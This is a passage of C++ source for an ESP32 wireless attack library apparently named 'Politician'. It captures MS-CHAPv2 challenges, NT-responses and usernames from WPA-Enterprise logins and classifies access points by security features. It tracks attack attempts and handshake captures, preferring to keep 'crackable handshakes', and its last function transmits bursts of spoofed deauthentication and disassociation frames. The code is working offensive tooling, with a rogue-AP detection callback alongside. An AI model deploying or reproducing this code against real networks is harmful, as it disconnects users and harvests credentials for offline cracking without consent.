1984 // eapol[4]: EAP Code (1=Request from AP, 2=Response from client)
1985 // eapol[5]: EAP Identifier
1986 // eapol[6-7]: EAP Length (big-endian, includes code+id+len bytes)
1987 // eapol[8]: EAP Type = 0x1A (MSCHAPv2)
1988 // eapol[9]: MS-CHAPv2 OpCode (1=Challenge, 2=Response)
1989 // eapol[10]: MS-CHAPv2 MS-Identifier
1990 // eapol[11-12]: MS-Length (big-endian)
1991 // Challenge (OpCode=1): eapol[13]=ValueSize(16), eapol[14-29]=Challenge, eapol[30+]=APName
1992 // Response (OpCode=2): eapol[13]=ValueSize(49), eapol[14-29]=PeerChallenge, eapol[30-37]=Reserved,
1993 // eapol[38-61]=NT-Response, eapol[62]=Flags, eapol[63+]=Username
1994
1995 if (len < 13) return;
1996 if (eapol[8] != 0x1A) return; // Must be EAP-MSCHAPv2
1997
1998 uint8_t eap_code = eapol[4];
1999 uint8_t eap_id = eapol[5];
2000 uint8_t mschap_op = eapol[9];
2001 uint8_t ms_id = eapol[10];
2002
2003 if (mschap_op == 0x01 && eap_code == 0x01) {
2004 // AP → Client: MSCHAPv2 Challenge — store the server challenge
2005 if (len < 30) return;
2006 if (eapol[13] != 16) return; // Value-Size must be 16
2007
2008 // Find or create a session slot
2009 int slot = -1;
2010 for (int i = 0; i < MAX_MSCHAP_SESSIONS; i++) {
2011 if (!_msChapSessions[i].active) { slot = i; break; }
2012 // Reuse oldest matching BSSID+ms_id
2013 if (memcmp(_msChapSessions[i].bssid, bssid, 6) == 0 && _msChapSessions[i].ms_id == ms_id) {
2014 slot = i; break;
2015 }
2016 }
2017 if (slot == -1) slot = 0; // Evict slot 0 if full
2018
2019 _msChapSessions[slot].active = true;
2020 memcpy(_msChapSessions[slot].bssid, bssid, 6);
2021 _msChapSessions[slot].ms_id = ms_id;
2022 memcpy(_msChapSessions[slot].challenge, eapol + 14, 16);
2023 _log("[MSCHAPv2] Challenge from %02X:%02X:%02X:%02X:%02X:%02X ms_id=%d\n",
2024 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], ms_id);
2025 return;
2026 }
2027
2028 if (mschap_op == 0x02 && eap_code == 0x02) {
2029 // Client → AP: MSCHAPv2 Response — find the matching challenge
2030 if (len < 64) return;
2031 if (eapol[13] != 49) return; // Value-Size must be 49
2032
2033 int slot = -1;
2034 for (int i = 0; i < MAX_MSCHAP_SESSIONS; i++) {
2035 if (_msChapSessions[i].active &&
2036 memcmp(_msChapSessions[i].bssid, bssid, 6) == 0 &&
2037 _msChapSessions[i].ms_id == ms_id) {
2038 slot = i; break;
2039 }
2040 }
2041 if (slot == -1) return; // No matching challenge
2042
2043 MsChapRecord rec; memset(&rec, 0, sizeof(rec));
2044 memcpy(rec.bssid, bssid, 6);
2045 memcpy(rec.sta, sta, 6);
2046 rec.channel = _rxChannel;
2047 rec.rssi = rssi;
2048 memcpy(rec.server_challenge, _msChapSessions[slot].challenge, 16);
2049 memcpy(rec.peer_challenge, eapol + 14, 16);
2050 memcpy(rec.nt_response, eapol + 38, 24);
2051
2052 // Username is everything after the Flags byte (eapol[62])
2053 uint16_t uname_off = 63;
2054 uint16_t uname_len = (len > uname_off) ? (len - uname_off) : 0;
2055 if (uname_len > 64) uname_len = 64;
2056 memcpy(rec.username, eapol + uname_off, uname_len);
2057 rec.username[uname_len] = '\0';
2058
2059 _msChapSessions[slot].active = false;
2060
2061 _log("[MSCHAPv2] Response user='%s' from %02X:%02X:%02X:%02X:%02X:%02X\n",
2062 rec.username, sta[0], sta[1], sta[2], sta[3], sta[4], sta[5]);
2063
2064 if (_msChapCb) _msChapCb(rec);
2065 }
2066}
2067#endif
2068
2069void Politician::_parseSsid(const uint8_t *ie, uint16_t ie_len, char *out, uint8_t &out_len) {
2070 out[0] = '\0'; out_len = 0; uint16_t pos = 0;
2071 while (pos + 2 <= ie_len) {
2072 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
2073 if (pos + 2 + len > ie_len) break;
2074 if (tag == 0 && len > 0 && len <= 32) {
2075 memcpy(out, ie + pos + 2, len); out[len] = '\0'; out_len = len; return;
2076 }
2077 pos += 2 + len;
2078 }
2079}
2080
2081uint8_t Politician::_classifyEnc(const uint8_t *ie, uint16_t ie_len) {
2082 bool has_rsn = false, has_wpa = false, is_enterprise = false, is_owe = false;
2083 uint16_t pos = 0;
2084 while (pos + 2 <= ie_len) {
2085 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
2086 if (pos + 2 + len > ie_len) break;
2087
2088 if (tag == 48) {
2089 has_rsn = true;
2090 // Parse robust security network AKM
2091 // Format: Version(2) + GroupCipher(4) + PairwiseCipherCount(2) + PairwiseCipherList(...) + AKMCount(2) + AKMList(...)
2092 if (len >= 10) { // Minimum length to reach AKM count assuming 0 pairwise ciphers
2093 uint16_t pw_count = (ie[pos+8] | (ie[pos+9] << 8));
2094 if (pw_count > 20 || 10 + pw_count * 4 > len) { pos += 2 + len; continue; }
2095 uint16_t akm_offset = pos + 10 + (pw_count * 4);
2096
2097 if (akm_offset + 2 <= pos + 2 + len) {
2098 uint16_t akm_count = (ie[akm_offset] | (ie[akm_offset + 1] << 8));
2099 if (akm_count > 20 || akm_offset + 2 + akm_count * 4 > pos + 2 + len) { pos += 2 + len; continue; }
2100 uint16_t list_offset = akm_offset + 2;
2101
2102 for (int i=0; i < akm_count; i++) {
2103 if (list_offset + 4 > pos + 2 + len) break;
2104 if (ie[list_offset] == 0x00 && ie[list_offset+1] == 0x0F && ie[list_offset+2] == 0xAC) {
2105 uint8_t suite = ie[list_offset + 3];
2106 if (suite == 0x01) is_enterprise = true; // 802.1X (EAP)
2107 if (suite == 0x12) is_owe = true; // OWE (AKM 18) — no PSK/PMKID
2108 }
2109 list_offset += 4;
2110 }
2111 }
2112 }
2113 }
2114 if (tag == 221 && len >= 4 && ie[pos+2]==0x00 && ie[pos+3]==0x50 && ie[pos+4]==0xF2 && ie[pos+5]==0x01) has_wpa = true;
2115 pos += 2 + len;
2116 }
2117
2118 if (is_enterprise) return ENC_ENT;
2119 if (is_owe) return ENC_OWE;
2120 return has_rsn ? ENC_WPA2 : (has_wpa ? ENC_WPA : ENC_OPEN);
2121}
2122
2123uint8_t Politician::_classifyPairwiseCipher(const uint8_t *ie, uint16_t ie_len) {
2124 uint16_t pos = 0;
2125 while (pos + 2 <= ie_len) {
2126 uint8_t tag = ie[pos];
2127 uint8_t len = ie[pos + 1];
2128 if (pos + 2 + len > ie_len) break;
2129 if (tag == 48 && len >= 8) {
2130 uint16_t pw_count = ie[pos + 8] | (ie[pos + 9] << 8);
2131 if (pw_count > 0 && pos + 10 + 4 <= pos + 2 + len) {
2132 uint8_t suite_type = ie[pos + 13];
2133 if (suite_type == 0x02) return CIPHER_TKIP;
2134 if (suite_type == 0x04) return CIPHER_CCMP;
2135 }
2136 }
2137 pos += 2 + len;
2138 }
2139 return CIPHER_UNKNOWN;
2140}
2141
2142bool Politician::_detectWpa3Only(const uint8_t *ie, uint16_t ie_len) {
2143 uint16_t pos = 0;
2144 while (pos + 2 <= ie_len) {
2145 uint8_t tag = ie[pos];
2146 uint8_t len = ie[pos + 1];
2147 if (pos + 2 + len > ie_len) break;
2148
2149 if (tag == 48 && len >= 10) { // RSN IE
2150 uint16_t pw_count = ie[pos + 8] | (ie[pos + 9] << 8);
2151 if (pw_count > 20 || 10 + pw_count * 4 > len) { pos += 2 + len; continue; }
2152 uint16_t akm_offset = pos + 10 + (pw_count * 4);
2153 if (akm_offset + 2 > pos + 2 + len) { pos += 2 + len; continue; }
2154
2155 uint16_t akm_count = ie[akm_offset] | (ie[akm_offset + 1] << 8);
2156 if (akm_count > 20 || akm_offset + 2 + akm_count * 4 > pos + 2 + len) { pos += 2 + len; continue; }
2157 uint16_t list_off = akm_offset + 2;
2158
2159 bool has_sae = false;
2160 bool has_wpa2psk = false;
2161 for (uint16_t i = 0; i < akm_count; i++) {
2162 if (list_off + 4 > pos + 2 + len) break;
2163 if (ie[list_off] == 0x00 && ie[list_off+1] == 0x0F && ie[list_off+2] == 0xAC) {
2164 if (ie[list_off+3] == 0x02) has_wpa2psk = true; // WPA2-PSK
2165 if (ie[list_off+3] == 0x08) has_sae = true; // SAE (WPA3)
2166 }
2167 list_off += 4;
2168 }
2169
2170 // MFPR = bit 6 of RSN Capabilities
2171 bool mfpr = false;
2172 if (list_off + 2 <= pos + 2 + len) {
2173 uint16_t caps = ie[list_off] | (ie[list_off + 1] << 8);
2174 mfpr = (caps & 0x0040) != 0;
2175 }
2176
2177 if ((has_sae && !has_wpa2psk) || mfpr) return true;
2178 }
2179 pos += 2 + len;
2180 }
2181 return false;
2182}
2183
2184bool Politician::_detectFt(const uint8_t *ie, uint16_t ie_len) {
2185 uint16_t pos = 0;
2186 while (pos + 2 <= ie_len) {
2187 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
2188 if (pos + 2 + len > ie_len) break;
2189 if (tag == 48 && len >= 10) { // RSN IE
2190 uint16_t pw_count = ie[pos + 8] | (ie[pos + 9] << 8);
2191 if (pw_count > 20 || 10 + pw_count * 4 > len) { pos += 2 + len; continue; }
2192 uint16_t akm_off = pos + 10 + (pw_count * 4);
2193 if (akm_off + 2 <= pos + 2 + len) {
2194 uint16_t akm_count = ie[akm_off] | (ie[akm_off + 1] << 8);
2195 if (akm_count > 20 || akm_off + 2 + akm_count * 4 > pos + 2 + len) { pos += 2 + len; continue; }
2196 uint16_t list_off = akm_off + 2;
2197 for (uint16_t i = 0; i < akm_count; i++) {
2198 if (list_off + 4 > pos + 2 + len) break;
2199 // OUI 00:0F:AC, suite type 3 = FT-EAP, type 4 = FT-PSK
2200 if (ie[list_off] == 0x00 && ie[list_off+1] == 0x0F && ie[list_off+2] == 0xAC &&
2201 (ie[list_off+3] == 0x03 || ie[list_off+3] == 0x04)) return true;
2202 list_off += 4;
2203 }
2204 }
2205 }
2206 pos += 2 + len;
2207 }
2208 return false;
2209}
2210
2211void Politician::_detectPmfFlags(const uint8_t *ie, uint16_t ie_len, bool &pmf_capable, bool &pmf_required) {
2212 pmf_capable = false; pmf_required = false;
2213 uint16_t pos = 0;
2214 while (pos + 2 <= ie_len) {
2215 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
2216 if (pos + 2 + len > ie_len) break;
2217 if (tag == 48 && len >= 10) { // RSN IE
2218 uint16_t pw_count = ie[pos + 8] | (ie[pos + 9] << 8);
2219 if (pw_count > 20 || 10 + pw_count * 4 > len) { pos += 2 + len; continue; }
2220 uint16_t akm_off = pos + 10 + (pw_count * 4);
2221 if (akm_off + 2 <= pos + 2 + len) {
2222 uint16_t akm_count = ie[akm_off] | (ie[akm_off + 1] << 8);
2223 if (akm_count > 20 || akm_off + 2 + akm_count * 4 > pos + 2 + len) { pos += 2 + len; continue; }
2224 uint16_t caps_off = akm_off + 2 + akm_count * 4;
2225 if (caps_off + 2 <= pos + 2 + len) {
2226 uint16_t caps = ie[caps_off] | (ie[caps_off + 1] << 8);
2227 pmf_capable = (caps & 0x0080) != 0; // MFPC
2228 pmf_required = (caps & 0x0040) != 0; // MFPR
2229 }
2230 }
2231 }
2232 pos += 2 + len;
2233 }
2234}
2235
2236Politician::Session* Politician::_findSession(const uint8_t *bssid, const uint8_t *sta) {
2237 for (int i = 0; i < MAX_SESSIONS; i++) {
2238 if (_sessions[i].flags.active && memcmp(_sessions[i].bssid, bssid, 6) == 0 && memcmp(_sessions[i].sta, sta, 6) == 0) return &_sessions[i];
2239 }
2240 return nullptr;
2241}
2242
2243Politician::Session* Politician::_createSession(const uint8_t *bssid, const uint8_t *sta) {
2244 for (int i = 0; i < MAX_SESSIONS; i++) {
2245 if (!_sessions[i].flags.active) {
2246 memset(&_sessions[i], 0, sizeof(Session));
2247 memcpy(_sessions[i].bssid, bssid, 6); memcpy(_sessions[i].sta, sta, 6);
2248 _sessions[i].flags.active = true; _sessions[i].created_ms = millis();
2249 _lookupSsid(bssid, _sessions[i].ssid, _sessions[i].ssid_len);
2250 return &_sessions[i];
2251 }
2252 }
2253 // Prefer evicting incomplete sessions (no M1 or M2) to avoid discarding crackable handshakes
2254 int oldest_idx = 0; uint32_t oldest_ms = UINT32_MAX;
2255 int incomplete_idx = -1; uint32_t incomplete_oldest = UINT32_MAX;
2256 for (int i = 0; i < MAX_SESSIONS; i++) {
2257 if (_sessions[i].created_ms < oldest_ms) { oldest_ms = _sessions[i].created_ms; oldest_idx = i; }
2258 if (!(_sessions[i].flags.has_m1 && _sessions[i].flags.has_m2) && _sessions[i].created_ms < incomplete_oldest) {
2259 incomplete_oldest = _sessions[i].created_ms; incomplete_idx = i;
2260 }
2261 }
2262 int evict = (incomplete_idx >= 0) ? incomplete_idx : oldest_idx;
2263 _log("[Session] Evicting session for %02X:%02X:%02X:%02X:%02X:%02X (has_m1=%d has_m2=%d) — session table full\n",
2264 _sessions[evict].bssid[0], _sessions[evict].bssid[1], _sessions[evict].bssid[2],
2265 _sessions[evict].bssid[3], _sessions[evict].bssid[4], _sessions[evict].bssid[5],
2266 _sessions[evict].flags.has_m1, _sessions[evict].flags.has_m2);
2267 memset(&_sessions[evict], 0, sizeof(Session));
2268 memcpy(_sessions[evict].bssid, bssid, 6); memcpy(_sessions[evict].sta, sta, 6);
2269 _sessions[evict].flags.active = true; _sessions[evict].created_ms = millis();
2270 _lookupSsid(bssid, _sessions[evict].ssid, _sessions[evict].ssid_len);
2271 return &_sessions[evict];
2272}
2273
2274Politician::ApCacheEntry* Politician::_cacheAp(const uint8_t *bssid, const char *ssid, uint8_t ssid_len,
2275 uint8_t enc, uint8_t channel, int8_t rssi,
2276 bool is_wpa3_only, bool wps,
2277 bool pmf_capable, bool pmf_required,
2278 bool ft_capable, uint16_t sta_count, uint8_t chan_util,
2279 uint8_t venue_group, uint8_t venue_type, uint8_t network_type) {
2280 if (ssid_len > 32) ssid_len = 32; // defensive clamp — _parseSsid already enforces this
2281 // enc_filter_mask: skip uncacheable encryption types (hidden APs bypass — SSID unknown yet)
2282 if (ssid_len > 0 && !(_cfg.enc_filter_mask & (1 << enc))) return nullptr;
2283
2284 // ssid_filter: skip APs that don't match the SSID filter (hidden APs bypass — SSID unknown yet)
2285 if (ssid_len > 0 && _cfg.ssid_filter[0] != '\0') {
2286 if (_cfg.ssid_filter_exact) {
2287 if (ssid_len != strlen(_cfg.ssid_filter) || memcmp(ssid, _cfg.ssid_filter, ssid_len) != 0) return nullptr;
2288 } else {
2289 if (strstr(ssid, _cfg.ssid_filter) == nullptr) return nullptr;
2290 }
2291 }
2292
2293 uint32_t now = millis();
2294 for (int i = 0; i < MAX_AP_CACHE; i++) {
2295 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
2296 memcpy(_apCache[i].ssid, ssid, ssid_len + 1); _apCache[i].ssid_len = ssid_len;
2297 _apCache[i].enc = enc; _apCache[i].channel = channel;
2298 _apCache[i].rssi = (int8_t)((_apCache[i].rssi * 4 + rssi) / 5);
2299 _apCache[i].flags.is_wpa3_only = is_wpa3_only;
2300 _apCache[i].flags.wps_enabled = wps;
2301 _apCache[i].flags.pmf_capable = pmf_capable;
2302 _apCache[i].flags.pmf_required = pmf_required;
2303 _apCache[i].flags.ft_capable = ft_capable;
2304 _apCache[i].last_seen_ms = now;
2305 _apCache[i].sta_count = sta_count;
2306 _apCache[i].chan_util = chan_util;
2307 _apCache[i].venue_group = venue_group;
2308 _apCache[i].venue_type = venue_type;
2309 _apCache[i].network_type = network_type;
2310 if (sta_count > 0) _apCache[i].flags.has_active_clients = true;
2311 if (ssid_len > 0) _apCache[i].flags.is_hidden = false;
2312 if (_apCache[i].beacon_count < 0xFFFF) _apCache[i].beacon_count++;
2313 return &_apCache[i];
2314 }
2315 }
2316
2317 int slot = -1;
2318 uint32_t oldest_ms = UINT32_MAX;
2319 for (int i = 0; i < MAX_AP_CACHE; i++) {
2320 if (!_apCache[i].flags.active) {
2321 slot = i;
2322 break;
2323 }
2324 if (_apCache[i].last_seen_ms < oldest_ms) {
2325 oldest_ms = _apCache[i].last_seen_ms;
2326 slot = i;
2327 }
2328 }
2329 if (slot == -1) slot = 0;
2330
2331 _apCache[slot].flags.active = true; _apCache[slot].last_probe_ms = 0;
2332 _apCache[slot].last_stimulate_ms = 0; _apCache[slot].first_seen_ms = now; _apCache[slot].last_seen_ms = now;
2333 _apCache[slot].last_hidden_probe_ms = 0;
2334 _apCache[slot].known_sta_count = 0;
2335 _apCache[slot].beacon_count = 1;
2336 _apCache[slot].total_attempts = 0;
2337 _apCache[slot].chan_width = 0;
2338 _apCache[slot].probe_word_idx = 0;
2339 _apCache[slot].last_attack_ms = 0;
2340 _apCache[slot].capture_count = 0;
2341 _apCache[slot].pairwise_cipher = CIPHER_UNKNOWN;
2342 _apCache[slot].flags.is_vht = false;
2343 _apCache[slot].flags.is_hidden = (ssid_len == 0);
2344 _apCache[slot].flags.is_he = false;
2345 _apCache[slot].flags.wps_enabled = wps;
2346 _apCache[slot].flags.pmf_capable = pmf_capable;
2347 _apCache[slot].flags.pmf_required = pmf_required;
2348 _apCache[slot].flags.ft_capable = ft_capable;
2349 _apCache[slot].sta_count = sta_count;
2350 _apCache[slot].chan_util = chan_util;
2351 _apCache[slot].venue_group = venue_group;
2352 _apCache[slot].venue_type = venue_type;
2353 _apCache[slot].network_type = network_type;
2354 _apCache[slot].flags.has_active_clients = (sta_count > 0);
2355 memcpy(_apCache[slot].bssid, bssid, 6); memcpy(_apCache[slot].ssid, ssid, ssid_len + 1);
2356 _apCache[slot].ssid_len = ssid_len; _apCache[slot].enc = enc; _apCache[slot].channel = channel;
2357 _apCache[slot].rssi = rssi; _apCache[slot].flags.is_wpa3_only = is_wpa3_only;
2358
2359 // Rogue AP detection: fire callback if another active AP shares the same SSID on the same channel
2360 if (_rogueApCb && ssid_len > 0) {
2361 for (int i = 0; i < MAX_AP_CACHE; i++) {
2362 if (i == slot || !_apCache[i].flags.active) continue;
2363 if (_apCache[i].channel != channel) continue;
2364 if (_apCache[i].ssid_len != ssid_len || memcmp(_apCache[i].ssid, ssid, ssid_len) != 0) continue;
2365 if (memcmp(_apCache[i].bssid, bssid, 6) == 0) continue;
2366 RogueApRecord rec;
2367 memset(&rec, 0, sizeof(rec));
2368 memcpy(rec.known_bssid, _apCache[i].bssid, 6);
2369 memcpy(rec.rogue_bssid, bssid, 6);
2370 memcpy(rec.ssid, ssid, ssid_len + 1);
2371 rec.ssid_len = ssid_len;
2372 rec.channel = channel;
2373 rec.rssi = rssi;
2374 _rogueApCb(rec);
2375 break;
2376 }
2377 }
2378 return &_apCache[slot];
2379}
2380
2381bool Politician::_lookupSsid(const uint8_t *bssid, char *out_ssid, uint8_t &out_len) const {
2382 for (int i = 0; i < MAX_AP_CACHE; i++) {
2383 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
2384 memcpy(out_ssid, _apCache[i].ssid, _apCache[i].ssid_len + 1); out_len = _apCache[i].ssid_len; return true;
2385 }
2386 }
2387 out_ssid[0] = '\0'; out_len = 0; return false;
2388}
2389
2391 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return 0;
2392 int n = 0;
2393 for (int i = 0; i < MAX_AP_CACHE; i++) if (_apCache[i].flags.active) n++;
2394 xSemaphoreGiveRecursive(_lock);
2395 return n;
2396}
2397
2398bool Politician::getAp(int idx, ApRecord &out) const {
2399 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return false;
2400 int found = 0;
2401 bool ok = false;
2402 for (int i = 0; i < MAX_AP_CACHE; i++) {
2403 if (!_apCache[i].flags.active) continue;
2404 if (found == idx) {
2405 memcpy(out.bssid, _apCache[i].bssid, 6);
2406 memcpy(out.ssid, _apCache[i].ssid, 33);
2407 out.ssid_len = _apCache[i].ssid_len;
2408 out.enc = _apCache[i].enc;
2409 out.channel = _apCache[i].channel;
2410 out.rssi = _apCache[i].rssi;
2411 out.wps_enabled = _apCache[i].flags.wps_enabled;
2412 out.pmf_capable = _apCache[i].flags.pmf_capable;
2413 out.pmf_required = _apCache[i].flags.pmf_required;
2414 out.total_attempts = _apCache[i].total_attempts;
2415 out.captured = _isCaptured(_apCache[i].bssid);
2416 out.ft_capable = _apCache[i].flags.ft_capable;
2417 out.first_seen_ms = _apCache[i].first_seen_ms;
2418 out.last_seen_ms = _apCache[i].last_seen_ms;
2419 memcpy(out.country, _apCache[i].country, 3);
2420 out.beacon_interval = _apCache[i].beacon_interval;
2421 out.max_rate_mbps = _apCache[i].max_rate_mbps;
2422 out.is_hidden = _apCache[i].flags.is_hidden;
2423 out.sta_count = _apCache[i].sta_count;
2424 out.chan_util = _apCache[i].chan_util;
2425 out.venue_group = _apCache[i].venue_group;
2426 out.venue_type = _apCache[i].venue_type;
2427 out.network_type = _apCache[i].network_type;
2428 out.is_vht = _apCache[i].flags.is_vht;
2429 out.is_he = _apCache[i].flags.is_he;
2430 out.chan_width = _apCache[i].chan_width;
2431 out.beacon_count = _apCache[i].beacon_count;
2432 out.capture_count = _apCache[i].capture_count;
2433 out.last_attack_ms = _apCache[i].last_attack_ms;
2434 ok = true; break;
2435 }
2436 found++;
2437 }
2438 xSemaphoreGiveRecursive(_lock);
2439 return ok;
2440}
2441
2442bool Politician::getApByBssid(const uint8_t *bssid, ApRecord &out) const {
2443 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return false;
2444 bool ok = false;
2445 for (int i = 0; i < MAX_AP_CACHE; i++) {
2446 if (!_apCache[i].flags.active || memcmp(_apCache[i].bssid, bssid, 6) != 0) continue;
2447 memcpy(out.bssid, _apCache[i].bssid, 6);
2448 memcpy(out.ssid, _apCache[i].ssid, 33);
2449 out.ssid_len = _apCache[i].ssid_len;
2450 out.enc = _apCache[i].enc;
2451 out.channel = _apCache[i].channel;
2452 out.rssi = _apCache[i].rssi;
2453 out.wps_enabled = _apCache[i].flags.wps_enabled;
2454 out.pmf_capable = _apCache[i].flags.pmf_capable;
2455 out.pmf_required = _apCache[i].flags.pmf_required;
2456 out.total_attempts = _apCache[i].total_attempts;
2457 out.captured = _isCaptured(_apCache[i].bssid);
2458 out.ft_capable = _apCache[i].flags.ft_capable;
2459 out.first_seen_ms = _apCache[i].first_seen_ms;
2460 out.last_seen_ms = _apCache[i].last_seen_ms;
2461 memcpy(out.country, _apCache[i].country, 3);
2462 out.beacon_interval = _apCache[i].beacon_interval;
2463 out.max_rate_mbps = _apCache[i].max_rate_mbps;
2464 out.is_hidden = _apCache[i].flags.is_hidden;
2465 out.sta_count = _apCache[i].sta_count;
2466 out.chan_util = _apCache[i].chan_util;
2467 out.venue_group = _apCache[i].venue_group;
2468 out.venue_type = _apCache[i].venue_type;
2469 out.network_type = _apCache[i].network_type;
2470 out.is_vht = _apCache[i].flags.is_vht;
2471 out.is_he = _apCache[i].flags.is_he;
2472 out.chan_width = _apCache[i].chan_width;
2473 out.beacon_count = _apCache[i].beacon_count;
2474 out.capture_count = _apCache[i].capture_count;
2475 out.last_attack_ms = _apCache[i].last_attack_ms;
2476 ok = true; break;
2477 }
2478 xSemaphoreGiveRecursive(_lock);
2479 return ok;
2480}
2481
2482void Politician::forEachAp(void (*cb)(const ApRecord &ap, void *ctx), void *ctx) const {
2483 if (!cb || !_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return;
2484 for (int i = 0; i < MAX_AP_CACHE; i++) {
2485 if (!_apCache[i].flags.active) continue;
2486 ApRecord out;
2487 memset(&out, 0, sizeof(out));
2488 memcpy(out.bssid, _apCache[i].bssid, 6);
2489 memcpy(out.ssid, _apCache[i].ssid, 33);
2490 out.ssid_len = _apCache[i].ssid_len;
2491 out.enc = _apCache[i].enc;
2492 out.channel = _apCache[i].channel;
2493 out.rssi = _apCache[i].rssi;
2494 out.wps_enabled = _apCache[i].flags.wps_enabled;
2495 out.pmf_capable = _apCache[i].flags.pmf_capable;
2496 out.pmf_required = _apCache[i].flags.pmf_required;
2497 out.total_attempts = _apCache[i].total_attempts;
2498 out.captured = _isCaptured(_apCache[i].bssid);
2499 out.ft_capable = _apCache[i].flags.ft_capable;
2500 out.first_seen_ms = _apCache[i].first_seen_ms;
2501 out.last_seen_ms = _apCache[i].last_seen_ms;
2502 memcpy(out.country, _apCache[i].country, 3);
2503 out.beacon_interval = _apCache[i].beacon_interval;
2504 out.max_rate_mbps = _apCache[i].max_rate_mbps;
2505 out.is_hidden = _apCache[i].flags.is_hidden;
2506 out.sta_count = _apCache[i].sta_count;
2507 out.chan_util = _apCache[i].chan_util;
2508 out.venue_group = _apCache[i].venue_group;
2509 out.venue_type = _apCache[i].venue_type;
2510 out.network_type = _apCache[i].network_type;
2511 out.is_vht = _apCache[i].flags.is_vht;
2512 out.is_he = _apCache[i].flags.is_he;
2513 out.chan_width = _apCache[i].chan_width;
2514 out.beacon_count = _apCache[i].beacon_count;
2515 out.capture_count = _apCache[i].capture_count;
2516 out.last_attack_ms = _apCache[i].last_attack_ms;
2517 cb(out, ctx);
2518 }
2519 xSemaphoreGiveRecursive(_lock);
2520}
2521
2522#ifndef POLITICIAN_NO_STD_FUNCTION
2523void Politician::forEachAp(std::function<void(const ApRecord &ap)> cb) const {
2524 forEachAp([](const ApRecord &ap, void *ctx) {
2525 (*static_cast<std::function<void(const ApRecord &)>*>(ctx))(ap);
2526 }, &cb);
2527}
2528#endif
2529
2530int Politician::getClientCount(const uint8_t *bssid) const {
2531 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return 0;
2532 int count = 0;
2533 for (int i = 0; i < MAX_AP_CACHE; i++) {
2534 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
2535 count = _apCache[i].known_sta_count; break;
2536 }
2537 }
2538 xSemaphoreGiveRecursive(_lock);
2539 return count;
2540}
2541
2542bool Politician::getClient(const uint8_t *bssid, int idx, uint8_t out_sta[6]) const {
2543 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return false;
2544 bool ok = false;
2545 for (int i = 0; i < MAX_AP_CACHE; i++) {
2546 if (!_apCache[i].flags.active || memcmp(_apCache[i].bssid, bssid, 6) != 0) continue;
2547 if (idx >= 0 && idx < _apCache[i].known_sta_count) {
2548 memcpy(out_sta, _apCache[i].known_stas[idx], 6);
2549 ok = true;
2550 }
2551 break;
2552 }
2553 xSemaphoreGiveRecursive(_lock);
2554 return ok;
2555}
2556
2557bool Politician::_lookupEnc(const uint8_t *bssid, uint8_t &out_enc) const {
2558 for (int i = 0; i < MAX_AP_CACHE; i++) {
2559 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
2560 out_enc = _apCache[i].enc; return true;
2561 }
2562 }
2563 out_enc = 0; return false;
2564}
2565
2566bool Politician::_lookupCipher(const uint8_t *bssid, uint8_t &out_cipher) const {
2567 for (int i = 0; i < MAX_AP_CACHE; i++) {
2568 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
2569 out_cipher = _apCache[i].pairwise_cipher;
2570 return true;
2571 }
2572 }
2573 out_cipher = CIPHER_UNKNOWN;
2574 return false;
2575}
2576
2577void Politician::_incCaptureCount(const uint8_t *bssid) {
2578 for (int i = 0; i < MAX_AP_CACHE; i++) {
2579 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
2580 if (_apCache[i].capture_count < 255) _apCache[i].capture_count++;
2581 break;
2582 }
2583 }
2584}
2585
2586bool Politician::_isCaptured(const uint8_t *bssid) const {
2587 for (int i = 0; i < _ignoreCount; i++) if (memcmp(_ignoreList[i], bssid, 6) == 0) return true;
2588
2589 int left = 0, right = _capturedCount - 1;
2590 while (left <= right) {
2591 int mid = left + (right - left) / 2;
2592 int cmp = memcmp(_captured[mid], bssid, 6);
2593 if (cmp == 0) return true;
2594 if (cmp < 0) left = mid + 1;
2595 else right = mid - 1;
2596 }
2597 return false;
2598}
2599
2600void Politician::_sendDeauthBurst(uint8_t count, const uint8_t *sta) {
2601 static const uint8_t BROADCAST[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
2602 const uint8_t *da = (_cfg.unicast_deauth && sta != nullptr) ? sta : BROADCAST;
2603
2604 uint8_t deauth[26] = {
2605 0xC0, 0x00, 0x00, 0x00, // Frame Control (Deauth), Duration
2606 da[0], da[1], da[2], da[3], da[4], da[5], // DA
2607 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5], // SA (Spoofed AP)
2608 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5], // BSSID (Spoofed AP)
2609 0x00, 0x00, // Seq
2610 _cfg.deauth_reason, 0x00 // Reason code (default 7)
2611 };
2612
2613 static const uint8_t REASONS[] = { 7, 1, 2, 4, 8, 15 };
2614 uint8_t num_reasons = sizeof(REASONS) / sizeof(REASONS[0]);
2615
2616 for (int i = 0; i < count; i++) {
2617 deauth[0] = (i % 2 == 0) ? 0xC0 : 0xA0; // Alternate between Deauth (0xC0) and Disassoc (0xA0)
2618 deauth[22] = (i << 4) & 0xFF;
2619 if (_cfg.deauth_reason_cycling) {
2620 deauth[24] = REASONS[i % num_reasons];
2621 }
2622 esp_wifi_80211_tx(WIFI_IF_STA, deauth, sizeof(deauth), false);
2623 delay(2);
2624 }
